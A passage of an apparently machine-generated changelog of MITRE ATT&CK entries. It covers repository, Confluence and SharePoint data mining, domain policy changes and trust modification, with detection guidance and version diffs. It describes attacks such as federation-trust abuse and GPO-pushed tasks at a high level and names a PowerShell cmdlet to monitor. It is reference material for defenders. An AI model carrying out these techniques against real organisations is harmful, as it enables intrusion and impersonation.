>le information. Code repositories are tools/services that st>le information. Code repositories are tools/services that st
>ore source code and automate software builds. They may be ho>ore source code and automate software builds. They may be ho
>sted internally or privately on third party sites such as Gi>sted internally or privately on third party sites such as Gi
>thub, GitLab, SourceForge, and BitBucket. Users typically in>thub, GitLab, SourceForge, and BitBucket. Users typically in
>teract with code repositories through a web application or c>teract with code repositories through a web application or c
>ommand-line utilities such as git.  Once adversaries gain ac>ommand-line utilities such as git.  Once adversaries gain ac
>cess to a victim network or a private code repository, they >cess to a victim network or a private code repository, they 
>may collect sensitive information such as proprietary source>may collect sensitive information such as proprietary source
> code or credentials contained within software's source code> code or [Unsecured Credentials](https://attack.mitre.org/te
>.  Having access to software's source code may allow adversa>chniques/T1552) contained within software's source code.  Ha
>ries to develop [Exploits](https://attack.mitre.org/techniqu>ving access to software's source code may allow adversaries 
>es/T1587/004), while credentials may provide access to addit>to develop [Exploits](https://attack.mitre.org/techniques/T1
>ional resources using [Valid Accounts](https://attack.mitre.>587/004), while credentials may provide access to additional
>org/techniques/T1078).(Citation: Wired Uber Breach)(Citation> resources using [Valid Accounts](https://attack.mitre.org/t
>: Krebs Adobe)  **Note:** This is distinct from [Code Reposi>echniques/T1078).(Citation: Wired Uber Breach)(Citation: Kre
>tories](https://attack.mitre.org/techniques/T1593/003), whic>bs Adobe)  **Note:** This is distinct from [Code Repositorie
>h focuses on conducting [Reconnaissance](https://attack.mitr>s](https://attack.mitre.org/techniques/T1593/003), which foc
>e.org/tactics/TA0043) via public code repositories.>uses on conducting [Reconnaissance](https://attack.mitre.org
 >/tactics/TA0043) via public code repositories.
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-14 13:09:51.004000+00:00", + "modified": "2024-08-30 13:45:42.840000+00:00", + "name": "Confluence", + "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/001", + "external_id": "T1213.001" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-30 13:45:42.840000+00:00\", \"old_value\": \"2021-06-08 17:08:08.386000+00:00\"}, \"root['description']\": {\"new_value\": \"\\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\", \"old_value\": \"\\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\", \"diff\": \"--- \\n+++ \\n@@ -5,7 +5,7 @@\\n * Physical / logical network diagrams\\n * System architecture diagrams\\n * Technical system documentation\\n-* Testing / development credentials\\n+* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\\n * Work / project schedules\\n * Source code snippets\\n * Links to network shares and other internal resources\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1 Adversaries may leverage Confluence repositories to mine vat1 Adversaries may leverage Confluence repositories to mine va
>luable information. Often found in development environments >luable information. Often found in development environments 
>alongside Atlassian JIRA, Confluence is generally used to st>alongside Atlassian JIRA, Confluence is generally used to st
>ore development-related documentation, however, in general m>ore development-related documentation, however, in general m
>ay contain more diverse categories of useful information, su>ay contain more diverse categories of useful information, su
>ch as:  * Policies, procedures, and standards * Physical / l>ch as:  * Policies, procedures, and standards * Physical / l
>ogical network diagrams * System architecture diagrams * Tec>ogical network diagrams * System architecture diagrams * Tec
>hnical system documentation * Testing / development credenti>hnical system documentation * Testing / development credenti
>als * Work / project schedules * Source code snippets * Link>als (i.e., [Unsecured Credentials](https://attack.mitre.org/
>s to network shares and other internal resources >techniques/T1552)) * Work / project schedules * Source code 
 >snippets * Links to network shares and other internal resour
 >ces 
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-14 13:35:32.938000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Sharepoint", + "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/002", + "external_id": "T1213.002" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content", + "Cloud Service: Cloud Service Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"Arun Seelagan, CISA\"], \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2021-06-08 17:10:31.187000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\", \"old_value\": \"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\", \"diff\": \"--- \\n+++ \\n@@ -4,7 +4,7 @@\\n * Physical / logical network diagrams\\n * System architecture diagrams\\n * Technical system documentation\\n-* Testing / development credentials\\n+* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\\n * Work / project schedules\\n * Source code snippets\\n * Links to network shares and other internal resources\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][2]\": \"Cloud Service: Cloud Service Metadata\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage the SharePoint repository as a sourt1Adversaries may leverage the SharePoint repository as a sour
>ce to mine valuable information. SharePoint will often conta>ce to mine valuable information. SharePoint will often conta
>in useful information for an adversary to learn about the st>in useful information for an adversary to learn about the st
>ructure and functionality of the internal network and system>ructure and functionality of the internal network and system
>s. For example, the following is a list of example informati>s. For example, the following is a list of example informati
>on that may hold potential value to an adversary and may als>on that may hold potential value to an adversary and may als
>o be found on SharePoint:  * Policies, procedures, and stand>o be found on SharePoint:  * Policies, procedures, and stand
>ards * Physical / logical network diagrams * System architec>ards * Physical / logical network diagrams * System architec
>ture diagrams * Technical system documentation * Testing / d>ture diagrams * Technical system documentation * Testing / d
>evelopment credentials * Work / project schedules * Source c>evelopment credentials (i.e., [Unsecured Credentials](https:
>ode snippets * Links to network shares and other internal re>//attack.mitre.org/techniques/T1552)) * Work / project sched
>sources >ules * Source code snippets * Links to network shares and ot
 >her internal resources 
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [ + "DS0025: Cloud Service (Cloud Service Metadata)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-07 14:10:32.650000+00:00", + "modified": "2024-10-15 15:55:32.946000+00:00", + "name": "Domain or Tenant Policy Modification", + "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484", + "external_id": "T1484" + }, + { + "source_name": "CISA SolarWinds Cloud Detection", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a" + }, + { + "source_name": "ADSecurity GPO Persistence 2016", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "url": "https://adsecurity.org/?p=2716" + }, + { + "source_name": "Microsoft 365 Defender Solorigate", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/" + }, + { + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml" + }, + { + "source_name": "Microsoft - Update or Repair Federated domain", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365" + }, + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Okta Cross-Tenant Impersonation 2023", + "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.", + "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "source_name": "Harmj0y Abusing GPO Permissions", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/" + }, + { + "source_name": "Sygnia Golden SAML", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", + "url": "https://www.sygnia.co/golden-saml-advisory" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Obsidian Security" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Deletion", + "Active Directory: Active Directory Object Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "Application Log: Application Log Content" + ], + "x_mitre_defense_bypassed": [ + "System access controls", + "File system access controls" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:55:32.946000+00:00\", \"old_value\": \"2024-04-19 04:27:31.884000+00:00\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.\", \"old_value\": \"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/\", \"old_value\": \"http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.1\", \"old_value\": \"3.0\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Azure AD\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][2]\": \"SaaS\"}}", + "previous_version": "3.0", + "version_change": "3.0 \u2192 3.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Deletion)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-28 21:59:02.181000+00:00", + "modified": "2024-09-25 13:50:11.593000+00:00", + "name": "Trust Modification", + "description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484/002", + "external_id": "T1484.002" + }, + { + "source_name": "AWS RE:Inforce Threat Detection 2024", + "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.", + "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf" + }, + { + "source_name": "CISA SolarWinds Cloud Detection", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a" + }, + { + "source_name": "AADInternals zure AD Federated Domain", + "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.", + "url": "https://o365blog.com/post/federation-vulnerability/" + }, + { + "source_name": "Microsoft - Azure AD Federation", + "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed" + }, + { + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml" + }, + { + "source_name": "Microsoft - Update or Repair Federated domain", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365" + }, + { + "source_name": "Okta Cross-Tenant Impersonation 2023", + "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.", + "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection" + }, + { + "source_name": "Sygnia Golden SAML", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", + "url": "https://www.sygnia.co/golden-saml-advisory" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Praetorian", + "Obsidian Security" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Application Log: Application Log Content", + "Active Directory: Active Directory Object Modification", + "Active Directory: Active Directory Object Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 13:50:11.593000+00:00\", \"old_value\": \"2024-04-19 04:27:51.388000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\\n\\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \\n\\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)\", \"old_value\": \"Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\\n\\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \\n\\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \\n \\n-An 